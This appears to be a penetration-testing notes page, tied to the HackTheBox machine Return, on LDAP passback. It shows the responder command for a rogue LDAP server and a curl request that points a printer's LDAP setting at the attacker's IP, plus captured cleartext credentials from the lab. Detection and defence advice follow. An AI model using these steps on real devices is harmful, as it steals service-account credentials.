LDAP passback (rogue LDAP server)
A device that stores credentials to connect to a server, and that lets you change which server it connects to, hands those credentials to whoever tells it where to look. It is the oldest idea in the book and it still works on printers, scanners, NAS boxes, PBXs and anything with a web panel offering to "validate users against LDAP".
And with LDAP there is a bonus: the unencrypted protocol authenticates with a simple bind, which sends username and password in cleartext. It is not a hash to crack, it is the password.
The setup is two steps. First bring up the fake server. responder ships one among its listeners, so there is nothing to configure:
responder -I tun0Then tell the device to connect to us. If the panel needs no authentication the form is enough, but it pays to watch the request in the browser's network panel: the name of the field that actually travels is rarely the one on the page's label (a "Server Address" label may send a field called ip), and with that you can repeat it without a browser:
curl http://<host>/settings.php -d 'ip=<our-ip>' &>/dev/nullThe &>/dev/null is deliberate: what matters is not what the page replies, but what arrives on the other side.
[LDAP] Cleartext Client : 10.129.86.182
[LDAP] Cleartext Username : return\svc-printer
[LDAP] Cleartext Password : 1edFg43012!!What changes with the port and the mode. On 389 without TLS the simple bind travels in clear and reads as-is. If the device uses LDAPS (636) or STARTTLS, the fake server has to present a certificate and the appliance usually accepts it anyway because it validates nothing; and if the bind is SASL/NTLM rather than simple, what you capture is not the password but an NTLMv2, which is cracking material and not a gift.
It is the same family as authentication coercion and UNC-path files: nothing is broken, a system is simply asked to authenticate where we are listening. The database cousin is the rogue MySQL server.
Requirements#
A panel or interface that allows changing the LDAP server address without re-entering the password (the appliance has it stored and reuses it), and a device that can reach our IP. An unauthenticated panel is the norm on printers; with authentication it works just the same once you hold low-privilege credentials.
How to detect it. On the device, a change to the LDAP server configuration is an audit event almost nobody collects: that is the early detection. On the network, what gives it away is an LDAP bind towards an address that is not a domain controller, all the more so on 389 without TLS; a rule over 389/636 traffic whose destination is not in the DC list catches the whole thing. On the DC, the disappearance of that device's binds (it stops authenticating where it should) is the indirect signal.
Defence. Require LDAPS with certificate validation on the client, which is what breaks the setup: a rogue server cannot present a valid certificate from the internal CA. Make the panel require authentication, and require the password again when the server changes rather than reusing the stored one. And make the device's service account read-only with no interactive logon: that way, captured or not, it opens no further doors.
Machines where it's used
- ReturnHackTheBox